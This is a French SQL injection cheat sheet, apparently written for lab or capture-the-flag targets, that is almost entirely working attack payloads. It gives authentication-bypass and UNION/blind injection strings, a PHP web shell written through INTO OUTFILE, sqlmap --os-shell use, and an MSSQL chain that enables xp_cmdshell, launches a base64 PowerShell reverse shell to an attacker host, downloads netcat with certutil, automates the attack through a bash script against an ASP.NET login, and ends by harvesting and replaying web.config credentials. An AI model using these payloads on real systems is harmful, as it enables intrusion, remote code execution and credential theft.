Injection SQL
sommaire
- Détection
- Contournement d’authentification
- UNION-based
- Énumération du schéma (information_schema)
- Injection aveugle (boolean / time-based)
- Lecture/écriture de fichiers & RCE
- sqlmap (automatisation)
- MSSQL : stacked queries -> xp_cmdshell -> RCE (login ASP.NET)
- 1. Detection & privileges (time-based)
- 2. Activer & utiliser xp_cmdshell (RCE, si sysadmin)
- 3. Reverse shell PowerShell (fileless, base64)
- 4. Upload de fichier (webroot non inscriptible -> C:\Windows\Temp)
- 5. Envoyer via Burp (ASP.NET WebForms)
- 6. Automatisation : helper bash (gere le ViewState)
- 7. Post-exploit : recuperer des identifiants
Détection
' " ` -> provoquer une erreur
' OR '1'='1
1' AND '1'='1 (vrai) vs 1' AND '1'='2 (faux)
1 AND SLEEP(5) -> reponse retardee = injection aveugle temporelle
Contournement d’authentification
admin' -- -
admin' #
' OR 1=1 -- -
' OR 1=1 LIMIT 1 -- -
") OR ("1"="1
UNION-based
' ORDER BY 1 -- - # incrementer jusqu'a l'erreur = nb de colonnes
' UNION SELECT NULL,NULL,NULL -- -
' UNION SELECT 1,2,3 -- - # reperer les colonnes affichees
' UNION SELECT NULL,@@version,NULL -- -
Énumération du schéma (information_schema)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables -- -
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users' -- -
' UNION SELECT NULL,concat(user,':',password),NULL FROM users -- -
Injection aveugle (boolean / time-based)
# MySQL
' AND (SELECT SUBSTRING(version(),1,1))='8' -- -
' AND IF(1=1,SLEEP(5),0) -- -
# PostgreSQL : ' AND 1=(SELECT 1 FROM pg_sleep(5)) -- -
# MSSQL : '; WAITFOR DELAY '0:0:5' -- -
Lecture/écriture de fichiers & RCE
# MySQL : ' UNION SELECT LOAD_FILE('/etc/passwd') -- -
# ' UNION SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php' -- -
# MSSQL : '; EXEC xp_cmdshell 'whoami' -- -
sqlmap (automatisation)
sqlmap -u 'http://10.10.10.10/page?id=1' --batch --dbs
sqlmap -r requete.txt --batch --level 5 --risk 3 # requete capturee (Burp)
sqlmap -u '...' -D base -T users --dump
sqlmap -u '...' --os-shell # RCE si possible
sqlmap -u '...' --file-read=/etc/passwd
MSSQL : stacked queries -> xp_cmdshell -> RCE (login ASP.NET)
Cas concret : page de login ASP.NET : champ ‘username’ concatene sans echappement. Backend MSSQL, requetes empilees (;) OK. Injection AVEUGLE (la page repond toujours ‘Invalid’) -> on confirme par le TEMPS de reponse, et on recupere la sortie hors-bande (reverse shell).
1. Detection & privileges (time-based)
# champ injectable = username. Reponse +5s = injectable (MSSQL)
x'; WAITFOR DELAY '0:0:5'-- -
x' WAITFOR DELAY '0:0:5'-- - # variante inline (sans ;)
x'; IF IS_SRVROLEMEMBER('sysadmin')=1 WAITFOR DELAY '0:0:5'-- - # sysadmin ?
2. Activer & utiliser xp_cmdshell (RCE, si sysadmin)
x'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- -
x'; EXEC master..xp_cmdshell '<CMD>';-- - # blind : aucune sortie affichee
x'; EXEC master..xp_cmdshell 'ping -n 6 127.0.0.1';-- - # canary : delai = exec OK
3. Reverse shell PowerShell (fileless, base64)
# 1) Kali : generer le base64 (UTF-16LE) -- remplacer LHOST/LPORT
PS='$c=New-Object System.Net.Sockets.TCPClient("LHOST",LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r+"PS "+(pwd).Path+"> ");$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'
B64=$(printf '%s' "$PS" | iconv -f UTF-8 -t UTF-16LE | base64 -w0)
# 2) Kali : listener
rlwrap nc -lvnp LPORT
# 3) Injection : declencher (la reponse HTTP va geler = normal = succes)
x'; EXEC master..xp_cmdshell 'powershell -nop -w hidden -e <B64>';-- -
4. Upload de fichier (webroot non inscriptible -> C:\Windows\Temp)
# Kali : python3 -m http.server 80 (dossier contenant nc64.exe)
x'; EXEC master..xp_cmdshell 'certutil -urlcache -f http://LHOST/nc64.exe C:\Windows\Temp\nc.exe';-- -
x'; EXEC master..xp_cmdshell 'C:\Windows\Temp\nc.exe LHOST LPORT -e powershell';-- -
5. Envoyer via Burp (ASP.NET WebForms)
# ViewState : __VIEWSTATE / __EVENTVALIDATION frais requis a CHAQUE POST
# -> Intercept ON, se logger depuis le navigateur (jetons frais),
# modifier SEULEMENT la valeur de ...UsernameTextBox, puis Forward.
# Encodage du corps (x-www-form-urlencoded) : n'encoder que la VALEUR
# ' %27 ; %3B espace + & %26 \ %5C : %3A
# base64 : + %2B / %2F = %3D (sinon payload casse !)
# Repeater : selectionner le payload -> Ctrl+U
# NB : "Invalid creds" = NORMAL (blind). Reponse Burp qui gele apres un
# reverse shell = SUCCES (xp_cmdshell attend la fin de powershell).
6. Automatisation : helper bash (gere le ViewState)
# usage : ./sqli.sh 'commande cmd.exe'
T=10.10.10.10; CMD="$1"; cj=$(mktemp)
p=$(curl -s -c "$cj" "http://$T/login.aspx")
vs=$(printf '%s' "$p"|grep -oE 'id="__VIEWSTATE" value="[^"]*"'|sed -E 's/.*value="([^"]*)".*/\1/')
vg=$(printf '%s' "$p"|grep -oE 'id="__VIEWSTATEGENERATOR" value="[^"]*"'|sed -E 's/.*value="([^"]*)".*/\1/')
ev=$(printf '%s' "$p"|grep -oE 'id="__EVENTVALIDATION" value="[^"]*"'|sed -E 's/.*value="([^"]*)".*/\1/')
curl -s -o /dev/null -b "$cj" "http://$T/login.aspx" \
--data-urlencode "__VIEWSTATE=$vs" --data-urlencode "__VIEWSTATEGENERATOR=$vg" \
--data-urlencode "__EVENTVALIDATION=$ev" \
--data-urlencode "ctl00\$ContentPlaceHolder1\$UsernameTextBox=x'; EXEC master..xp_cmdshell '$CMD';-- -" \
--data-urlencode "ctl00\$ContentPlaceHolder1\$PasswordTextBox=x" \
--data-urlencode "ctl00\$ContentPlaceHolder1\$LoginButton=Login"
7. Post-exploit : recuperer des identifiants
type C:\inetpub\wwwroot\web.config # connection string : uid=sa;password=...
# rejouer le mot de passe (reutilisation frequente) :
nxc smb <ip> -u <user> -p '<pass>' --local-auth
nxc winrm <ip> -u <user> -p '<pass>'
# web.config non lisible ? chercher : dir /b /s C:\inetpub\*.config